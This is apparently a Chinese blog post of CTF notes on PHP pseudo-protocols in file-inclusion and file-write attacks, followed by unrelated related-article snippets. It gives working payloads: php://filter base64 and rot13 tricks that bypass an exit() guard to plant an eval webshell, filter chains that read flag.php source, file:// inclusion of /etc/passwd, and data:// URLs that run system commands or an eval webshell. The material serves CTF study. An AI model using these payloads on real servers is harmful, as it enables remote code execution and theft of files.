[php:\\filter]
写入
#题目
<?php
$filename=$_GET['filename'];
$content=$_POST['content'];
file_put_contents($filename,'<?php exit();'.$content);
highlight_file(__FILE__);
?>
源码如上,需要再服务器上写入一句话木马
payload如下:
#<?php phpinfo();?>
$filename='php://filter/convert.base64-decode/resource=feng.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+';#<?php eval($_POST['cmd']);?>
$filename='php://filter/convert.base64-decode/resource=feng.php';
$content = 'aPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==';#<?php phpinfo();?> 不存在base64字符数量问题
$filename='php://filter/string.rot13/resource=feng.php';
$content='<?cuc cucvasb();?>';
<?php phpinfo();?>的base64编码是PD9waHAgcGhwaW5mbygpOz8+,为啥要加a呢?
base64解码的时候是4字节->3字节,对于不可识别的字符会跳过,对于<?php exit();
中,可以识别的只有phpexit,一共7个字节,因此前面加个一个字节,然后再加上<?php phpinfo();?>
base64加密的结果就可以了。可以尝试不加的话,生成的文件里有乱码,实现不了。
读取
如果读取的代码不需要执行,就需要先编码。
// 使用伪协议来读取
$flag = 'php://filter/convert.base64-encode/resource=flag.php';
include($flag);
//获取到flag.php的源代码,可以base64解码得到flag或者需要代码审计等。php://filter/string.rot13/resource=flag.php //rot13
php://filter/string.toupper/resource=flag.php //转大写
php://filter/string.tolower/resource=flag.php //转小写// 格式 php://filter/convert.iconv.<input-encoding>.<output-encoding>/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-32/resource=flag.php
php://filter/convert.iconv.UTF-8.ASCII/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=a.php
// 支持的编码格式很多,可以在网上自行寻找#解码
// 假设 $utf7String 是你从 UTF-7 编码转换得到的字符串
$utf7String = "+ADw?php +ACQ-flag+AD0'cyberpeace+AHs-ad86b86c79ef08b8b04532428fac7c7f+AH0'+ADs";
// 使用 iconv 函数将字符串从 UTF-7 转换为 UTF-8
$utf8String = iconv("UTF-7", "UTF-8", $utf7String);
// 输出转换后的 UTF-8 字符串
echo $utf8String;
过滤器
php://filter/convert.quoted-printable-encode/resource=flag.php
// 可以使用quoted_printable_decode()解码
压缩
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
php://filter/bzip2.compress|bzip2.decompress/resource=flag.php
// 这样会自动去选择解压还是压缩可能直接显示明文
php://input
应用场景:一般用来执行php任意命令,在php安全策略配置出现问题时才会有此问题
php://input:一般配合post输入,它提供了一种直接获取 POST 请求数据的方式,尤其适用于处理来自客户端的原始数据,适合执行php文件
$inputData = file_get_contents('php://input');
echo $inputData;//用户post输入的内容
file://
可以用于访问绝对路径和相对路径,当使用file伪协议时,可以指定文件的绝对路径,例如file:///path/to/file.php
,也可以指定相对路径,例如file://relative/path/to/file.php
也可以配合include协议进行文件包含(内容如果是php内容会执行,内容为php标签外的会打印)include "file://localhost/etc/passwd"
或include "file:///etc/passwd"
$content = file_get_contents('file://D:\php\chrpt1\1.txt');
echo $content;//文件被打印出来
data://
用来执行命令,需要前提:allow_url_fopen :on allow_url_include:on
执行命令:
普通:<?php phpinfo();?>
短标签:<?=phpinfo();?>
http://localhost:8000/?file=data:text/plain,<?=system("ipconfig");?>
# 这个在file后面加了//
http://localhost:8000/?file=data://text/plain,<?=system("ipconfig");?># 错误例子
# PD89cGhwaW5mbygpOz8+ 解码为<?php phpinfo();?> base64加密后有+号,而在浏览器get请求中+号表示空格,所以正确做法是把+号进行url编码,也就是将+号换为%2B
http://localhost:8000/?file=data:text/plain;base64,PD89cGhwaW5mbygpOz8+
# 正确例子
http://localhost:8000/?file=data:text/plain;base64,PD89cGhwaW5mbygpOz8%2B# 一句话木马
http://localhost:8000/?file=data:text/plain,<?=eval($_POST['mypost']);?>
## 配合post参数mypost=phpinfo();
# 一句话木马
PD89ZXZhbCgkX1BPU1RbJ215cG9zdCddKTs/Pg== 解码为<?=eval($_POST['mypost']);?>
## 配合post参数mypost=phpinfo();
http://localhost:8000/test/a.php?file=data:text/plain;base64,PD89ZXZhbCgkX1BPU1RbJ215cG9zdCddKTs/Pg==
日志写入一句话木马参考
四、文件包含漏洞[伪协议、读取文件、命令执行]_php data伪协议-CSDN博客
相关文章:
[php:\\filter]
写入 #题目 <?php $filename$_GET[filename]; $content$_POST[content]; file_put_contents($filename,<?php exit();.$content); highlight_file(__FILE__); ?> 源码如上,需要再服务器上写入一句话木马 payload如下: #<?php phpinf…...
Linux-环境变量
文章目录 第6章 Linux 环境变量6.1 环境变量简介?6.2 全局变量6.3 局部环境变量6.4 设置用户自定义变量6.4.1 设置局部用户自定义变量6.4.2 设置全局环境变量6.4.3 删除环境变量 6.5 默认的shell环境变量6.6 设置PATH环境变量6.7 定位系统环境变量6.7.1 登录shell6.…...
DISCUZ论坛中 “阅读权限10“这几个字的修改教程以及后台目录路径修改后的管理路径
第一篇:修改“阅读权限10”这几个字 首先找到目录: source\language\lang_message.php 找到这个文件 查找: thread_nopermission 首发地址:玖毅论坛 第二篇:后台管理路径 看到好多人在网上问discuz管理路径怎么…...
springboot 整合spring-boot-starter-data-elasticsearch
依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-elasticsearch</artifactId></dependency> 配置 spring:elasticsearch:rest:uris: "http://localhost:9200" # Elastics…...

Element UI中el-dialog作为子组件如何由父组件控制显示/隐藏~
1、这里介绍的是将el-dialog作为组件封装便于复用,如何通过父组件控制子组件dialog的显示与隐藏。 2、思路:首先el-dialog是通过dialogVisible的值是否为true或false来控制显示与隐藏的。那么我们可以通过父传子props来将true(即showFlag的值࿰…...

【vue讲解:es6导入导出语法、 vue-router简单使用、登录跳转案例、scoped的使用、elementui使用】
1 es6导入导出语法 # 做项目:肯定要写模块--》导入使用# 默认导出和导入 在某个js中 # 命名导出和导入1.1 默认导出和导入 // #########导出语法########### // export default name // 只导出变量 // export default add // 只导出函数// export default {nam…...

#beego的orm一直引入失败#
在导入beego的orm的时候,一直导入失败,orm显示红色,表示导入失败 解决办法: 1:升级go,由1.7升级到1.8 2:执行以下命令 go clean go get github.com/astaxie/beego/orm go mod tidy go mod vendor 3:测试在vendor中可以看到…...

Vue插值:双大括号标签、v-text、v-html、v-bind 指令
创建应用程序实例后,需要通过插值进行数据绑定。数据绑定是 Vue.js 最核心的一个特性。建立数据绑定后,数据和视图会相互关联,当数据发生变化时,视图会自动进行更新。这样就无须手动获取 DOM 的值,使代码更加简洁&…...

实验五之用Processing绘画
1.案例代码如下: import generativedesign.*; import processing.pdf.*; import java.util.Calendar; Tablet tablet; boolean recordPDF false; float x 0, y 0; float stepSize 5.0; PFont font; String letters "Sie hren nicht die folgenden Gesnge…...

Apache CloudStack Official Document 翻译节选(七)
关于 Apache CloudStack 的 最佳实践 (一) Best Practices 部署Apache CloudStack是极具挑战性的,在整个部署过程中需要你做出形形色色的技术性选择。Apache CloudStack的配置条目是相当灵活的,这是因为在组合和配置具体条目时有…...

动态创建 Delphi 按钮的完整指南:基于配置文件的 `TGridPanel` 实现
在 Delphi 开发中,我们经常需要根据不同的配置动态生成 UI 元素。本文将带你通过一个完整的示例,演示如何根据配置文件动态创建按钮,并将它们排列在一个 TGridPanel 中。每个按钮的标题、链接、颜色和大小都将从配置文件中读取。 “C:\myApp\…...
【设计模式】工厂模式和抽象工厂模式
工厂模式 function User(role, pages) {this.role role;this.pages pages; }// new User(admin, [home, user, setting]); // new User(user, [home, user]); // new User(guest, [home]);function UserFactory(role) {switch (role) {case admin:return new User(role, [ho…...

【xilinx】Versal Adaptive SoC DDRMC - NoC QoS 选项卡未出现
在 2024.1 之前的 Vivado 版本中,用户在使用 NoC 验证块设计时可以访问 NoC 对象窗口和 QoS 选项卡。 Vivado 2024.1 中存在一个已知问题,即 NoC 对象窗口和 QoS 选项卡不出现。 要显示 NoC 对象窗口和 QoS 选项卡,请保存块设计,…...

融合创新:EasyCVR视频汇聚平台云计算技术与AI技术共筑雪亮工程智能防线
随着信息技术的飞速发展,视频云计算技术作为云计算领域的一个重要分支,正逐步在公共安全、社会治理等领域展现出其独特的优势。特别是在雪亮工程这一群众性治安防控工程中,视频云计算技术更是发挥了不可替代的作用。本文将从视频云计算技术的…...
keepalived的技术原理及其在负载均衡场景中的应用
keepalived的技术原理及其在负载均衡场景中的应用 深入探讨Keepalived及其在负载均衡场景中的应用1. **Keepalived概述**2. **Keepalived的技术原理**2.1 **VRRP协议**2.2 **健康检查机制**2.3 **脚本管理** 3. **Keepalived与LVS的结合应用**3.1 **LVS优缺点** 4. **Nginx与HA…...
树的重心 by江河湖海
引入 重心是什么? 想象你有一个由线悬挂的秋千,秋千的两端坐着两个人,如果这两个人坐在秋千的重心上,秋千就会保持平衡。在树的结构中,重心就是那个让所有节点到它那里的“距离”(可以理解为线的长度)总和最小的点。 重心为什么最多只有两个? 假设树的重心有两个,…...
MySQL存储过程深入指南
MySQL存储过程深入指南 存储过程是MySQL中一个强大的功能,能够显著提升数据库操作的效率和灵活性。本文将全面介绍存储过程的概念、语法、使用方法及最佳实践,帮助读者熟练掌握存储过程的使用。 1. 什么是存储过程? 存储过程(Stored Procedure)是预先编译并存储在数据库…...

牛客算法小题
目录 牛客.求和编辑 牛客.abb 牛客.合并k个有序链表 牛客.滑雪(暴力->递归->记忆化搜索) 牛客.旋转字符串 牛客.求和 我没想到是dfs,另外我的dfs能力确实也不强,另外难度大的是他的那个输出 import java.util.Scanne…...

小米SU7销量超特斯拉,新车明年上半年发布
小米 SU7,一款国内新能源车品牌纯血新势力旗下首款轿车,上市短短 4 个月卖出超 4 万台,月均销量过万。 该说不说,这放在整个新能源汽车工业史上也足以称得上是一件小刀喇拍屁股,让人开了眼的事儿。 就在本月初&#x…...

基于Java语言的光伏监控系统+光伏发电预测+光伏项目+光伏运维+光伏储能项目
基于Java语言的光伏监控系统光伏发电预测光伏项目光伏运维光伏储能项目 介绍 基于Java语言的光伏监控系统光伏发电系统光伏软件系统光伏监控系统源码光伏发电系统源码 基于Java语言的光伏监控系统光伏发电预测光伏项目光伏运维光伏储能项目 安装教程...

日语AI面试高效通关秘籍:专业解读与青柚面试智能助攻
在如今就业市场竞争日益激烈的背景下,越来越多的求职者将目光投向了日本及中日双语岗位。但是,一场日语面试往往让许多人感到步履维艰。你是否也曾因为面试官抛出的“刁钻问题”而心生畏惧?面对生疏的日语交流环境,即便提前恶补了…...
Admin.Net中的消息通信SignalR解释
定义集线器接口 IOnlineUserHub public interface IOnlineUserHub {/// 在线用户列表Task OnlineUserList(OnlineUserList context);/// 强制下线Task ForceOffline(object context);/// 发布站内消息Task PublicNotice(SysNotice context);/// 接收消息Task ReceiveMessage(…...

【HarmonyOS 5.0】DevEco Testing:鸿蒙应用质量保障的终极武器
——全方位测试解决方案与代码实战 一、工具定位与核心能力 DevEco Testing是HarmonyOS官方推出的一体化测试平台,覆盖应用全生命周期测试需求,主要提供五大核心能力: 测试类型检测目标关键指标功能体验基…...

CMake基础:构建流程详解
目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...
React---day11
14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store: 我们在使用异步的时候理应是要使用中间件的,但是configureStore 已经自动集成了 redux-thunk,注意action里面要返回函数 import { configureS…...
高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数
高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数 在软件开发中,单例模式(Singleton Pattern)是一种常见的设计模式,确保一个类仅有一个实例,并提供一个全局访问点。在多线程环境下,实现单例模式时需要注意线程安全问题,以防止多个线程同时创建实例,导致…...

【JVM面试篇】高频八股汇总——类加载和类加载器
目录 1. 讲一下类加载过程? 2. Java创建对象的过程? 3. 对象的生命周期? 4. 类加载器有哪些? 5. 双亲委派模型的作用(好处)? 6. 讲一下类的加载和双亲委派原则? 7. 双亲委派模…...

Scrapy-Redis分布式爬虫架构的可扩展性与容错性增强:基于微服务与容器化的解决方案
在大数据时代,海量数据的采集与处理成为企业和研究机构获取信息的关键环节。Scrapy-Redis作为一种经典的分布式爬虫架构,在处理大规模数据抓取任务时展现出强大的能力。然而,随着业务规模的不断扩大和数据抓取需求的日益复杂,传统…...
Spring Boot + MyBatis 集成支付宝支付流程
Spring Boot MyBatis 集成支付宝支付流程 核心流程 商户系统生成订单调用支付宝创建预支付订单用户跳转支付宝完成支付支付宝异步通知支付结果商户处理支付结果更新订单状态支付宝同步跳转回商户页面 代码实现示例(电脑网站支付) 1. 添加依赖 <!…...
文件上传漏洞防御全攻略
要全面防范文件上传漏洞,需构建多层防御体系,结合技术验证、存储隔离与权限控制: 🔒 一、基础防护层 前端校验(仅辅助) 通过JavaScript限制文件后缀名(白名单)和大小,提…...